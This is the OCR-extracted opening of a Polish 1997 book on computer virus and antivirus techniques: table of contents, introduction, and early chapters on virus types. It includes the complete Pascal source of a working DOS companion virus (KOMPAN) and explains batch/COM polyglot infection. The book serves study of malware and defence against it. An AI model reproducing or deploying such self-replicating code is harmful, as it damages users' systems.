background image

 

SPIS ROZDZIAŁÓW 

 

Wstęp ............................................ XV 
Rozdział 1. Podstawowe wiadomości o wirusach ..............................1 
Rozdział 2. Rodzaje wirusów ..............................................................5 
Rozdział 3. Podział wirusów ze względu na sposób działania po     
uruchomieniu ..................................................................17 
Rozdział 4. Obiekty atakowane przez wirusy ....................................33 
Rozdział 5. Instalacja w pamięci operacyjnej ....................................97 
Rozdział 6. Przejmowanie przerwań i znajdowanie czystych wejść do       
systemu ........................................................................109 
Rozdział 7. Ukrywanie się w systemie operacyjnym .......................143 
Rozdział 8. Szyfrowanie kodu ..........................................................173 
Rozdział 9. Inne mechanizmy stosowane przez wirusy ...................213 
Rozdział 10. Przyszłość wirusów .......................................................235 
Rozdział 11. Rodzaje programów antywirusowych ............................241 
Rozdział 12. Techniki używane przez programy antywirusowe .........247 
Rozdział 13. Konwencje stosowane przez programy antywirusowe 
-standard CARO ............................................................299 
Rozdział 14. Profilaktyka antywirusowa ............................................311 
Rozdział 15. Literatura .......................................................................319 
 

SPIS TREŚCI 
Wstęp XV 
Rozdział 1. Podstawowe wiadomości o wirusach ..........  1 
1.1. Co to jest i jak działa wirus komputerowy ...............................  3 
1.2. Języki programowania wykorzystane do pisania wirusów ......  4 
Rozdział 2. Rodzaje wirusów .......................................... 

2.1. Wirusy pasożytnicze (ang. parasite infectors) ....................... 

2.2. Wirusy towarzyszące (ang. companion infectors) ................. 

2.3. 

Wirusy plików wsadowych (ang. batchviruses).......................  12 

2.4. Makrowirusy, wirusy makrosów (ang. macroviruses) ..............  13 
2.5. Generatory wirusów ................................................................  14 
2.6. Robaki (ang. worms) .............................................................. 

14 

2.7. Konie trojańskie (ang. trojan horses) ......................................  14 
2.8. Bomby logiczne (ang. logical bombs)......................................  15 
Rozdział 3. Podział wirusów ze względu na sposób działania 
po uruchomieniu ............................................................ 

17 

3.1. Wirusy nierezydentne (ang. non-resident yiruses) ............... 

19 

3.2. Wirusy rezydentme (ang. resident viruses) .......................... 

21 

background image

3.2.1. Szybkie infektory (ang. fast infectors) ..................................  31 
3.2.2. Wolne infektory (ang. slow infectors) ...................................  32 
Rozdział 4. Obiekty atakowane przez wirusy ..................  33 
4.1. Pliki...................................................................................35 
4.1.1. Pliki wykonywalne COM ............................. 

35 

4.1.2. Pliki wykonywalne EXE ............................... 45 
4.1.2.1. Pliki EXE dla systemu DOS (stare EXE) ..................... 45 
4.1.2.2. Pliki EXE dla trybu chronionego (nowe EXE) ..................      57 
4.1.2.2.1. Pliki EXE dla Windows (NE) ............................. 

59 

4.1.3. Pliki zawierające sterowniki urządzeń SYS (BIN, DRV) .... 

66 

4.1.4. Pliki systemowe DOS ............................... 

75 

4.1.4.1. Interpretator poleceń ....................................  75 
4.1.4.2. Jądro systemu (ang, kemel infector) ........................  75 
4.1.5. Pliki wsadowe BAT ................................. 76 
4.1.6. Pliki DOC ......................................... 

77 

4.1.7. Pliki XLS.......................................... 

79 

4.1.8. Pliki ASM ......................................... 

80 

4.2. Sektory systemowe ..................................  86 
4.2.1. Główny Rekord Ładujący (ang. Master Boot Record - MBR)  86 
4.3. Rekord ładujący (ang. BOOt-sector)..................... 92 
4.4. Jednostki Alokacji Plików (JAP) (ang. dusters) ............  94 
4.5. Wirusy kombinowane (ang. multipartition) ................ 

96 

Rozdział 5. Instalacja w pamięci operacyjnej ............. 

97 

5.1. Instalacja w tablicy wektorów przerwań .................. 

99 

5.2. Instalacja w obszarze zmiennych DOS .................. 

100 

5.3. Instalacja w pamięci poniżej 640kB i UMB ............... 

100 

5.4. Instalacja w pamięci HMA ............................. 

106 

5.5. Nietypowe metody instalacji ........................... 

107 

5.5.1. Pamięć ekranu ....................................  107 
5.5.2. Bufory dyskowe DOS ............................... 

108 

Rozdział 6. Przejmowanie przerwań i znajdowanie czystych 
wejść do systemu ................................... 

109 

6.1. Najczęściej przejmowane i wykorzystywane przerwania ..... 

111 

6.2. Wykorzystanie funkcji DOS ............................ 

117 

6.3. Bezpośrednie zmiany w tablicy wektorów przerwań ,.,,,., 118 
6.4. Włączanie się do istniejącego łańcucha obsługi przerwania 
i znajdowanie czystych wejść do systemu (ang. tunnelling) ....      119 
6.4.1

. Korzystanie ze stałych adresów w systemie (przerwania 

21hl2Fh) ............................................      120 
6.4.2. Wykorzystanie trybu krokowego procesora (ang. tracing)...              122 
6.4.3. Tuneling rekursywny (ang, recursive tunnelling)...........              122 
6.4.4. Trik 2F/13 ........................................            124 
6.5. Wykorzystanie trybu chronionego .......................            141 
6.6. Włączanie się jako program obsługi urządzenia ...........            142 
Rozdział 7. Ukrywanie się w systemie operacyjnym ........        143 
7.1. Technika stealth .....................................            145 
7.1.1. Podawanie prawdziwych długości plików (ang, semi-stealth)              146 

background image

7.1.1.1. Polecenie DIR wywoływane z poziomu DOS .................      146 
7.1.1.2. P

rogramy nakładkowe używające krótkich nazw programów 

(DOS, Windows 3.1)......................................    149 
7.1.1.3. Programy wykorzystujące długie nazwy plików (Windows95) 
oraz polecenie DIR wywoływane z poziomu okna Tryb MS-DOS .      150 
7.1.2. Podawanie oryginalnych długości i zawartości plików 
(ang.full stealth).......................................      152 
7.1.3. Podawanie prawdziwej zawartości sektorów (ang. Sectorlevel stealth) 
..............................................      169 
7.1.4

. Fałszowanie odczytywanych sektorów na etapie obsługi przerwań sprzętowych 

(ang. hardware level stealth) ...............      169 
7.2. Modyfikacja CMOS-a .................................            170 
7.3. Atrybut etykiet dysku (ang. VolumeID) ..................            171 
7.4. Dodatkowe ścieżki na dyskach .........................            171 
Rozdział 8. Szyfrowanie kodu .........................        173 
8.1. Procedury szyfrujące kod .............................            177 
8.2. Procedury dekodujące ................................            178 
8.2.1. Polimorficzne procedury dekodujące ...................              179 
8.2.1.1. Semi-polimorfizm ........................................      179 
8.2.1.2. Pełny polimorfizm ........................................      193 
Rozdział 9. Inne mechanizmy stosowane przez wirusy .....        213 
9.1. Sposoby dostępu do dysków ..........................            215 
9.2. Sztuczki antydebuggerowe, antydeasemblerowe, antyemulacyj- 
ne i antyheurystyczne ....................................      227 
9.3. Optymalizacje kodu ..................................            231 
9.4. Retrostruktury (techniki anty-antywirusowe), czyli walka z zainstalowanymi 
monitorami antywirusowymi ....................      232 
Rozdział 10. Przyszłość wirusów .........................    235 
10.

1. Wirusy dla różnych systemów (ang. multisystem, multiplatform 

viruses) .............................................      237 
10.2. Wirusy infekujące wewnątrzplikowo (ang, surface infectors)              238 
10.3. Wirusy zmienne genetycznie (mutujące swój kod) ........            238 
10.4. Wirusy infekujące nowe, nie infekowane dotychczas obiekty            239 
Rozdział 11. Rodzaje programów antywirusowych .........        241 
11.1. Skanery (ang. scaners) .............................            243 
11.2. Monitory (ang. behaviour blockers, interceptors, resident 
monitors) ............................................      243 
11.3. Szczepionki (ang. disinfectors) .......................            244 
11.4. Programy autoweryfikujące ..........................            244 
11.5. Programy zliczające sumy kontrolne (ang. integniy checkers).          245 
Rozdział 12. Techniki używane przez programy antywirusowe 
.......................................        247 
12.1. Skaning ..........................................            249 
12

.2. Heurystycze wyszukiwanie wirusów ....................            272 

12.3. Tryb krokowy ......................................          284 
12.4. Emulacja procesora .................................            284 
12.5. Przynęty (ang. baits, decoys) .........................            285 

background image

12.6. Odświeżanie programów systemowych w sektorach .......            285 
12.7. Blokowanie programów używających trybu krokowego .....            286 
12.8. Pobieranie wielkości pamięci operacyjnej ...............            291 
Rozdział 13. Konwencje stosowane przez programy antywiru- 
sowe - standard CARO .............................. 

299 

Rozdział 14. Profilaktyka antywirusowa .................. 311 
14.1. Ochrona przed wirusami plików uruchamialnych .........  313 
14.2. Ochrona przed bombami logicznymi i końmi trojańskimi ... 

315 

14.3. Ochrona przed makrowirusami ........................  316 
Rozdział 15. Literatura ............................... 

319 

 
 

Wstęp

 

Tematem niiejszego opracowania są wirusy komputerowe jeden z najbardziej 
tajemniczych i kontrowersyjny

ch tworów istniejących w świecie komputerów. 

Od początku swego istnienia wirusy komputerowe były owiane mgłą tajemnicy zaś ich 
twórców uznawano za ludzi wiedzących znacznie więcej niż zwykli śmiertelnicy. 
Tymczasem wirus to zwykły program komputerowy który choć może bardziej 
wyrafinowany od innych jest na pewno o wiele łatwiejszy do napisania niż jakakolwiek 
aplikacja użytkowa czy gra. 
Większość spotykanych wirusów to prymitywne przeróbki, bazujące na istniejących od 
dawna, klasycznych już i uznawanych za wzorcowe wirusach, takich Jak Jerusalem, 
Vienna, Stoned, Vacsina czy wirusy Dark Avengera. Przeróbki ograniczają się 
najczęściej do zmiany tekstu wewnątrz wirusa lub ewentualnie sekwencji kodu, czego 
wynikiem jest kolejna z licznych mutacji znanego wirusa. 

Oprócz nich istnieje bardzo 

mała grupa wirusów, których pojawienie się na komputerowej scenie wiązało się z 
zastosowaniem przez ich autorów nowych, nieznanych jeszcze nikomu sztuczek. Do 
tych ostatnich zaliczają się niewątpliwie wirusy wspomnianego już wyżej Dark Avengera, 
najsłynniejszego chyba twórcy wirusów komputerowych. On to właśnie jako pierwszy 
zastosował metodę zmiennych procedur szyfrujących w swym polimorficznym enginie 
MtE, a także jako jeden z pierwszych potrafił omijać zainstalowane monitory 
a

ntywirusowe, czy odnajdywać oryginalne wejścia do znajdujących się w BIOS-ie 

procedur obsługi przerwania 13h. 
Pojawienie się nowego wirusa infekującego nie zajętą jeszcze do tej pory platformę 
sprzętową lub programową budzi zwykle nie lada sensację, zwłaszcza gdy w sprawę 
wmieszają się media, żerujące na 
tego typu historiach. Pomimo że najczęściej trywialny, wirus taki otwiera bowiem kolejną 
furtkę dla całej rzeszy późniejszych racjonalizatorów oraz wywołuje istną lawinę 
komentarzy na temat bezpieczeństwa systemów komputerowych. 
tak widać, twórcy wirusów tworzą środowisko rządzące się swoimi własnymi prawami. 
Cały czas trwa wyścig nad wymyśleniem jeszcze lepszych lub całkowicie nowych, 
nieznanych wirusów. Ciekawa przykład twórczego podejścia do programowania wirusów 
zademonstrował autor ukrywający się pod pseudonimem Stormbringer w wirusie JUMP. 
Nazwa wirusa nie jest przypadkowa, gdyż, po de-asemblacji listing tego wirusa składa 
się tylko i wyłącznie z samych rozkazów skoków (właściwy kod został sprytnie ukryty 
wewnątrz wirusa). 

background image

Prymat w programowaniu wirusów wiodą niezaprzeczalnie mieszkańcy państw byłego 
bloku wschodniego, głównie Bułgarzy, Rosjanie i Słowacy. Dzieje się tak głównie z 
powodu braku, w tych krajach unormowań prawnych dotyczących przestępstw 
komputerowych, które istnieją już w wielu państwach zachodnich. 
W dobie globalnej ekspansji sieci Internet w zasadzie każda osoba chcąca dowiedzieć 
się czegoś o wirusach może dostać się do bogatych, istniejących na całym świecie 
archiwów, poświęconych w całości programowaniu wirusów. Oferują one wirusy w wersji 
źródłowej, generatory wirusów, kolekcje złapanych egzemplarzy wirusów, a także tzw. 
ziny, czyli prowadzone przez wyspecjalizowane grupy magazyny (w postaci plików 
tekstowych lub stron HTML), poświęcone programowaniu wirusów (np.: 40HEX, VLAD, 
NukE InfoJournal, VBB, Immortal Riot). Za sprawą Intemetu w skład grup prowadzących 
te magazyny wchodzą ludzie ze wszystkich stron świata, którzy, co ciekawe, najczęściej 
deklarują się jako zagorzali przeciwnicy wirusów destrukcyjnych, a samo 
programowanie wirusów traktują jako swoistą sztukę. Po części mają rację, gdyż pisanie 
wirusów jest nie tylko świetną okazją do dogłębnego poznania systemu operacyjnego, 
ale i sprawdzenia własnych umiejętności programistycznych. 
Liczba wirusów złapanych na świecie rośnie z roku na rok i nic me wykazuje na to, aby 
tendencja ta miała ulec gwałtownej zmianie. W kolekcji wirusów należącej do jednej z 
czołowych firm amerykańskich produkującej programy antywirusowe znajduje się 
obecnie ponad 20000 próbek wirusów, z czego ok. 6000 to wirusy całkowicie 
różne. Należy pamiętać, iż istnienie wirusów komputerowych jest ściśle związane z 
niedoskonałością zarażanych przez nie systemów operacyjnych. Twórcy wirusów 
skrzętnie wykorzystują do swych celów wszelkie możliwe luki w systemie: 
nieudokumentowane funkcje, systemowe struktury danych, a nawet odnalezione 
własnoręcznie błędy w kodzie systemu. To właśnie wirusy - paradoksalnie - pośrednio 
wpływają na wzrost bezpieczeństwa systemów komputerowych, gdyż kolejne wersje 
różnych środowisk zwykle starają się załatać istniejące luki w systemie. 
Osobne miejsce w dyskusjach na temat wirusów zajmują programy antywirusowe (w 
literaturze często określane skrótem AV). O ile pisanie wirusów jest raczej 
indywidualnym procesem twórczym, o tyle pisanie skutecznych programów 
antywirusowych stało się domeną całych grup programistycznych, których członkowie 
muszą posiadać o wiele większą wiedzę na temat wirusów niż typowy twórca wirusów. 
Usuwanie wirusów jest procesem naprawczym, a to wiąże się z odpowiedzialnością, 
którą muszą wziąć na siebie twórcy programów AV. Autorzy wirusów nie muszą 
przejmować się ewentualnymi szkodami powstałymi na skutek ich błędu lub nawet 
zwykłej niewiedzy. W przypadku programów AV nie można pozwolić sobie nawet na 
najmniejsze potknięcie. O ile dodawanie do skanera kolejnych sygnatur typowych i 
trywialnych wirusów to zajęcie zajmujące niewiele czasu, o tyle dekodo-wanie i 
rozszyfrowywanie kodu najnowszych wirusów, używających kilkustopniowych 
zmiennych procedur szyfrujących, sztuczek anty-emulacyjnych, antydebuggerowych i 
antydeasemblerowych, zarażających dużą ilość obiektów i będących zwykle wolnymi 
infektorami, to zadanie zajmujące bardzo dużo czasu, a i tak często okazuje się, iż 
za

stosowana metoda nic umożliwia odnalezienia wszystkich wariantów wirusa. 

Aby przyspieszyć wymianę informacji na temat wirusów, autorzy różnych programów 
antywirusowych z całego świata utworzyli coś w rodzaju organizacji, która zajmuje się 
zbieraniem danych 

o istniejących wirusach oraz o technikach ich wykrywania i 

usuwania. 

background image

Poniższe rozdziały powinny przynajmniej częściowo wyjaśnić mechanizmy 
wykorzystywane przez nowoczesne wirusy i programy antywirusowe. Oprócz typowych i 
trywialnych sztuczek, stosowanych 

od dawna przez wyżej wymienione programy, 

omówionych zostało kilka bardziej zaawansowanych technik, m.in.:polimorfizm 
(wykorzystywanie zmiennych procedur szyfrujących); 
>    stealth (zaawansowane ukrywanie się w systemie); 
>    heurystyka (wykrywanie nowych, n

ieznanych wirusów na podstawie znajomości 

charakterystycznych ciągów instrukcji). 
Do zrozumienia całości materiału niezbędna jest podstawowa znajomość komputerów 
PC oraz systemów DOS i WINDOWS. Niezbędna jest także przynajmniej pobieżna 
znajomość asemblera procesorów 80x86 i jakiegoś języka wysokiego poziomu (np.: 
Pascal, C). Niezorientowanego czytelnika odsyłam do pozycji umieszczonych w spisie 
na końcu książki. 
Dla uproszczenia, w opracowaniu została zastosowana pewna konwencja, dotycząca 
używania w tekście funkcji systemu DOS i BIOS. Występujące w tekście skróty 
(XXXX/YY) oznaczają użycie funkcji XXXX przerwania programowego YY. Zapis 
(4B00/21) oznaczać więc będzie instrukcję uruchomienia programu przy użyciu funkcji 
4B00h przerwania programowego 21h obsługiwanego przez DOS, a (4E/4F/21) 
oznaczać będzie wywołanie funkcji 4Eh lub 4Fh przerwania programowego 21h, w tym 
przypadku realizujących poszukiwania pierwszej (funkcja 4Eh) lub kolejnej (funkcja 4Fh) 
pozycji katalogu. Dokładny opis funkcji systemu DOS i BIOS można znaleźć w wielu 
różnych opracowaniach, z których najlepszym i najpełniejszym wydaje się stale 
rozwijana, dostępna w angielskojęzycznej wersji elektronicznej, lista przerwań Interrupt 
List Ralpha Browne'a. 
Na koniec warto jeszcze dodać kilka uwag o słownictwie używanym w opracowaniu. 
Większość terminów związanych z komputerami jest siłą rzeczy pochodzenia 
angielskiego. Próby tworzenia ich polskich odpowiedników mijają się najczęściej z 
celem, gdyż powstałe w ten sposób neologizmy nie odzwierciedlają w pełni sensu słów 
angielskich. Liczne przykłady z literatury komputerowej (i nie tylko) ostatnich kilku lat 
dowiodły, iż jedynym sensownym wyjściem z tej sytuacji jest integracja pewnych 
terminów obcojęzycznych z językiem polskim. Z tego też powodu w opracowaniu 
używane są (w niezbędnym minimum) terminy angielskie opatrzone odpowiednimi 
komentarzami w języku polskim. W sytuacji niemożności znalezienia adekwatnego 
polskiego odpowiednika dla słowa angielskiego używane będzie słowo obce (np. 
stealth). 
 

1.

1. Co to jest i jak działa wirus komputerowy 

Wirus komputerowy definiowany jest najczęściej jako krótki program mający zdolność 
samopowielania po jego uruchomieniu. Jest on zwykle przenoszony w zainfekowanych 
wcześniej plikach lub w pierwszych sektorach fizycznych logicznych dysków. Proces 
infekcji polega zazwyczaj na odpowiedniej modyfikacji struktury pliku albo sektora. 
Zainfekowaną ofiarę często nazywa się nosicielem (ang. host), a proces 
samopowielania - 

replikacją. Długość typowego wirusa waha się w granicach od 

kilkudziesięciu bajtów do kilku kilobajtów i w dużym stopniu zależy od umiejętności 
programistycznych jego twórcy, a także od języka programowania użytego do jego 
napisania. Od umiejętności i zamierzeń autora zależą także efekty, jakie wirus będzie 

background image

wywoływał w zainfekowanym systemie (oczywiście, nie zawsze musi być to próba 
formatowania dysku twardego). 
Większość z istniejących wirusów zawiera tylko kod odpowiedzialny za replikację (ang. 
dropper), natomiast "specjalne efekty" to zwykle działania uboczne spowodowane przez 
błędy. 
Z powyższego wynika jednoznacznie, iż pomijając istniejącą zawsze możliwość 
sabotażu, zarażenie komputera wirusem nastąpić może tylko przy niejawnej współpracy 
użytkownika, który, bądź to uruchamiając zarażony program, bądź próbując wczytać 
system z zarażonej dyskietki, a nawet odczytując zainfekowany dokument, 
nieświadomie sam instaluje wirusa w używanym przez siebie komputerze. 

 
1.2. Języki programowania wykorzystywane do pisania wirusów. 

Do zaprogramowania wirusa wystarcz

y znajomość dowolnego popularnego języka 

programowania, np. Pascala czy C, jednak największy procent wirusów pisany jest w 
czystym asemblerze. Spowodowane jest to głównie specyfiką kodu generowanego 
przez ten język, a zwłaszcza jego zwięzłością. Kod maszynowy programu, który z 
punktu widzenia użytkownika nie robi nic, w językach wysokiego poziomu zajmie od 
kilkuset bajtów do kilku, a nawet kilkuset kilobajtów. W asemblerze podobny program 
zajmie od jednego (instrukcja RET w pliku COM) do czterech bajtów (wywołanie funkcji 
4Ch przerwania 21h). Spowodowane jest to tym, iż do każdego wygenerowanego przez 
siebie programu kompilatory języków wysokiego poziomu dodają standardowe prologi i 
epilogi, niewidoczne dla piszącego w danym języku programisty, które są 
odpo

wiedzialne m.in. za obsługę błędów, stosu, operacje we/wy itp. Można powiedzieć, 

iż długość programu wynikowego (rozumianego jako kod maszynowy) jest wprost 
proporcjonalna do poziomu języka programowania, w którym został on napisany. Na 
korzyść asemblera przemawia także fakt, iż z jego poziomu mamy bardzo dużą 
swobodę w dostępie do pamięci czy portów, a programista ma możliwość świadomego 
wpływu na kształt przyszłego programu, np. w zakresie używanych instrukcji czy 
rozwiązań programowych. Jak widać, programy napisane w asemblerze są optymalne 
pod względem szybkości działania i długości kodu, a więc język ten jest jakby stworzony 
do programowania wirusów. Jedyną wadą asemblera jest to, iż programów w nim 
napisanych nie można przenosić na komputery o innej architekturze, stąd mogą one 
egzystować tylko w jednej rodzinie komputerów. 
Oprócz typowych języków programowania do zaprojektowania wirusa można 
wykorzystać języki makr, wbudowane w nowoczesne edytory tekstów lub arkusze 
kalkulacyjne. Zawarte w nich mechani

zmy pozwalają na infekcję każdego otwieranego 

przez program dokumentu lub arkusza. Ze względu na poziom abstrakcji na Jakim 
operują języki makr, są one wymarzonym narzędziem do tworzenia wirusów, zwłaszcza 
dla początkujących programistów. Nie muszą się oni bowiem przedzierać przez 
dokumentację systemu czy też formaty infekowanych plików. Wszystkie operacje na 
fizycznych obiektach są zaimplementowane w makrach i wykonują się bez konieczności 
ingerencji programisty. 
 

ROZDZIAŁ 2 

 

2.1. Wirusy pasożytnicze (ang. parasite infectors) 

background image

W zasadzie większość istniejących wirusów to wirusy pasożytnicze, które wykorzystują 
swoje ofiary do transportu, modyfikując ich strukturę wewnętrzną. Jedynym ratunkiem 
dla zainfekowanych obiektów jest użycie szczepionki lub w ostateczności kopii 
zapasowych, gdyż zzarażane pliki z reguły nie są przez wirusa leczone. Wyjątek 
stanowią nieliczne wirusy wykorzystujące pliki tylko do transportu między komputerami, 
mające za główny cel infekcję tablicy partycji lub BOOT sektora dysku twardego. Po 
zainfekowaniu któregoś z tych obiektów wirus zmienia działanie i leczy wszystkie 
używane pliki znajdujące się na twardym dysku, a infekuje jedynie pliki już znajdujące 
się na dyskietkach lub dopiero na nie kopiowane. 
Ze względu na miejsce zajmowane w zainfekowanych plikach wirusy pasożytnicze dzieli 
się na: 
> Wirusy nadpisujące (ang. overwrite infectors), lokujące się na początku pliku, często 
nie zapamiętujące poprzedniej zawartości pliku (co w efekcie nieodwracalnie niszczy 
plik); 
> Wirusy lokujące się na końcu pliku (ang. end of file infectors), najbardziej 
rozpowszechniona odmiana wirusów pasożytniczych, które modyfikują pewne ustalone 
struktury na początku pliku tak, aby wskazywały na wirusa, po czym dopisują się na jego 
k

ońcu; 

> Wirusy nagłówkowe (ang. header infectors), lokujące się w nagłówku plików EXE 
przeznaczonych dla systemu DOS; wykorzystują one fakt, iż nagłówek plików EXE jest 
standardowo ustawiany przez programy linkujące na wielokrotność jednego sektora 
(512 ba

jtów). Zwykle wirusy te nie przekraczają rozmiaru jednego sektora i infekuje 

poprzez przejęcie funkcji BIOS służących do odczytu i zapisu sektorów (02,03/13); 
> Wirusy lokujące się w pliku w miejscu gdzie jest jakiś pusty, nie wykorzystany obszar 
(np. wype

łniony ciągiem zer), który można nadpisać nie niszcząc pliku (ang. cave 

infectors), 
> Wirusy lokujące się w dowolnym miejscu pliku (ang. surface infectors), dość rzadkie, 
bardzo trudne do napisania; 
> Wirusy wykorzystujące część ostatniej Jednostki Alokacji Pliku JAP (ang. slack space 
infector), korzystające z faktu, iż plik rzadko zajmuje dokładnie wielokrotność jednej 
JAP. 

 
2.2. Wirusy towarzyszące (ang. companion infectors

Wirusy tego typu są najczęściej pisane w językach wysokiego poziomu. Atakują one 
pliki, a ich działanie opiera się na hierarchii stosowanej przez DOS podczas 
uruchamiania programów. 
W momencie uruchomiania programu, w przypadku nie podania rozszerzenia 
uruchamianego pliku, najpierw poszukiwany jest plik o rozszerzeniu COM, potem EXE, 

na końcu BAT. W przypadku wykorzystywania interpretatora poleceń 4DOS dochodzą 

Jeszcze pliki BTM, poszukiwane podczas uruchamiania programu przed plikami BAT. 
Na przykład, jeżeli w jednym katalogu istnieją 3 pliki: 
- PROG.BAT, 
- PROG.COM, 
- PROG.EXE, 
to k

olejność ich uruchamiania byłaby następująca: 

- PROG.COM, 

background image

- PROG.EXE, 
- PROG.BAT. 
Plik PROG.COM będzie się uruchamiać, ilekroć będziemy podawać nazwę PROG bez 
rozszerzenia lub z rozszerzeniem COM. Plik PROG.EXE można w tym wypadku 
uruchomić wyłącznie poprzez podanie jego pełnej nazwy, bądź też poprzez uprzednie 
usunięcie pliku PROG.COM z danego katalogu. Z kolei uruchomienie pilku BAT wymaga 
albo usunięcia z katalogu obu plików: PROG-COM i PROG.EXE, albo też podania w linii 
poleceń całej jego nazwy. Jak widać, wirus ma kilka możliwości, aby zainfekować 
uruchamiany program: 

Istnieje plik COM: nie można zastosować infekcji; 

Istnieje plik EXE: można utworzyć plik o takiej samej nazwie, o rozszerzeniu COM, 

zawierający wirusa; 

Istnieje plik BAT: można utworzyć plik o takiej samej nazwie, o rozszerzeniu COM lub 

EXE, zawierający wirusa. 
Następna próba uruchomienia tak zarażonego programu spowoduje najpierw 
uruchomienie podszywającego się pod program wirusa, a dopiero ten, po zakończeniu 
pracy, przekaże sterowanie do programu macierzystego, najczęściej poprzez wywołanie 
programu interpretatora poleceń z parametrem: /C NazwaPlikuOfiary. 
Ciekawym rozszerzeniem techniki opisanej powyżej jest sposób infekcji stosowany 
przez wirusy towarzyszące, wykorzystujące zmienną środowiskową PATH (ang. path 
companion infectors). Zmienna PATH określa listę katalogów przeszukiwanych przez 
system DOS podczas uruchamiania programu. Wirus wykorzystujący tę technikę tworzy 
plik, zawierający kod wirusa w innym katalogu, znajdującym się w zmiennej 
środowiskowej PATH przed katalogiem, w którym znajduje się zarażana ofiara. W tym 
wypadku infekcję można zastosować dla dowolnego z plików COM, EXE, BAT, gdyż 
kolejność uruchamiania zależna jest przede wszystkim od zawartości zmiennej PATH. 
Na 

przykład, jeżeli zmienna środowiskowa PATH określona jest jako: 

PATH = C:\;C:\DOS;C:\WINDOWS, 
a w katalogu C:\

DOS umieścimy plik WIN.BAT, to podczas kolejnego wywoływania 

systemu WINDOWS (poprzez uruchomienie programu C:\WINDOWS\WIN.COM bez 
podawania ścieżki, czyli najczęściej WIN [ENTER]) z katalogu innego niż C:\WINDOWS 
system uruchomi najpierw plik C:\DOS\

WIN.BAT, a ten dopiero uruchomi właściwy 

program C:\WINDOWS\

WIN.COM. Poniżej przedstawiono przykład prostego wirusa 

towarzyszącego. Jest on napisany w języku Pascal i infekuje parę plików COM, EXE. 
 
 
(*;------------------------------------------------------------------------;*) 
(*;                                                                        ;*) 
(*;      Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe"     ;*) 
(*;                                                                        ;*) 
(*;                      KOMPAN v1.0, Autor : Adam Blaszczyk 1997          ;*) 
(*;                                                                        ;*) 
(*;             Prosty wirus typu towarzyszacego                           ;*) 
(*;             Infekuje pliki EXE w biezacym katalogu                     ;*) 
(*;             Do istniejacego pliku EXE dopisuje plik o rozszerzeniu COM ;*) 

background image

(*;                                                                        ;*) 
(*;------------------------------------------------------------------------;*) 
 
{$A-,B-,D-,E-,F-,G-,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X-,Y-} 
{$M 8192,0,16384} 
 
uses 
   Dos, Crt; 
 
const 
   MaskaEXE = '*.EXE'; 
 
var 
   Szuk             : SearchRec; 
   NazwaNosiciela, 
   NazwaOfiary      : String; 
   PlikNosiciela, 
   PlikOfiary       : File; 
   DlugoscNosiciela : LongInt; 
   Bufor            : Pointer; 
   I                : Byte; 
   Status           : Boolean; 
 
begin 
 
   WriteLn; 
   WriteLn (' KOMPAN v1.0, Autor : Adam Blaszczyk 1997'); 
   WriteLn; 
 
   NazwaNosiciela := ParamStr (0); 
 
   WriteLn (' Czy chcesz uruchomic wirusa (T/N) ?'); 
 
   if UpCase(ReadKey)='T' then 
   begin 
 
     WriteLn; 
     Status :=False; 
     FindFirst (MaskaEXE, AnyFile, Szuk); 
 
     while (DosError = 0) and (IOResult = 0) and (not Status) do 

background image

        begin 
          with Szuk do 
          if not ((Name='.')  or 
                  (Name='..') or 
                  (not (Attr and Directory and VolumeID<>0))) then 
             begin 
               NazwaOfiary:=Name; 
 
               Delete (NazwaOfiary, Pos ('EXE',NazwaOfiary),3); 
 
               NazwaOfiary:=NazwaOfiary+'COM'; 
 
               Assign (PlikOfiary, NazwaOfiary); 
 
               Reset  (PlikOfiary,1); 
 
               if IOResult <> 0 then 
                  begin 
                     Status:=True; 
                     WriteLn  (' Tworze KOMPANA : ',NazwaOfiary); 
                     Assign   (PlikNosiciela, NazwaNosiciela); 
                     Reset    (PlikNosiciela, 1); 
 
                     DlugoscNosiciela := FileSize (PlikNosiciela); 
                     GetMem     (Bufor,DlugoscNosiciela); 
                     BlockRead  (PlikNosiciela, Bufor^, DlugoscNosiciela); 
                     ReWrite    (PlikOfiary,1); 
                     BlockWrite (PlikOfiary   , Bufor^, DlugoscNosiciela); 
                     Close      (PlikNosiciela); 
                     Close      (PlikOfiary); 
                     FreeMem    (Bufor, DlugoscNosiciela); 
                  end; 
             end; 
          FindNext (Szuk); 
        end; 
 
        If Not Status then WriteLn (' Nie znalazlem zadnego kandydata do infekcji 
!'); 
   end; 
 
      Delete (NazwaNosiciela,Pos ('.COM',NazwaNosiciela),4); 

background image

      NazwaNosiciela := '/C '+NazwaNosiciela+'.EXE'; 
 
      for I:=1 to ParamCount do 
          NazwaNosiciela := NazwaNosiciela +' '+ParamStr(I); 
 
      SwapVectors; 
      Exec(GetEnv('COMSPEC'), NazwaNosiciela); 
      SwapVectors; 
end. 
 

2.3. Wirusy plików wsadowych (ang. batchviruses) 

Wirusy plików wsadowych wykorzystujące do transportu pliki BAT, istnieją od dość 
dawna, pomimo raczej ubogiego zestawu środków, jakimi dysponuje ich potencjalny 
twórca. Może wydawać się to niedorzeczne, lecz często potrafią infekować nie tylko pliki 
BAT, ale także pliki COM, EXE czy sektor tablicy partycji (wymaga to odpowiedniego, 
wcale nie tak trudnego, zaprogramowania). 
Po uruchomieniu zainfekowanego pliku wsadowego tworzony jest plik uruchamiamy 
COM lub EXE (za pomocą polecenia ECHO, którego parametry są przekierowywane do 
pliku), zawierający właściwy kod infekujący pliki BAT. Po utworzeniu jest on 
wykonywany, a następnie kasowany. 
Ze 

względu na to, iż procesor nie rozróżnia kodu i danych, można, poprzez sprytną 

manipulację, utworzyć plik, który będzie mógł się wykonać zarówno Jako typowy plik 
BAT, jak i plik COM. 
Na przykład typowe polecenia plików wsadowych, wykonywane przez procesor jako 
część kodu programu COM, będą rozumiane jako: 
 
polecenie pliku BAT 

instrukcje widziane przez procesor 

 
REM 

52h PUSH DX ; db 'R'  
45h INC BP  ; db 'E'  
4Dh DEC BP  ; db 'M' 

 
  
ECHO 

45h INC BP : db 'E' 
43h INC BX : db 'C' 
48h DEC AX ; db 'H' 
4Fh DEC Dl ; db 'O' 

40h INC AX ; db '@' 

7t0 (deklaracja etykiety - interpretator 
nie wykonuje) 

3Ah 37h CMP DH.[BX]; db ':7' 
74h 30h JZ $+30h ; 't0' 

 
Po uruchomieniu zainfekowanego w ten sposób pliku BAT wirus kopiuje się do pliku 
tymczasowego o rozsze

rzeniu COM i wykonuje się, tym razem jako kod maszynowy. 

Poniżej zamieszczono przykład prostego pliku (na dyskietce, w katalogu COMBAT), 

background image

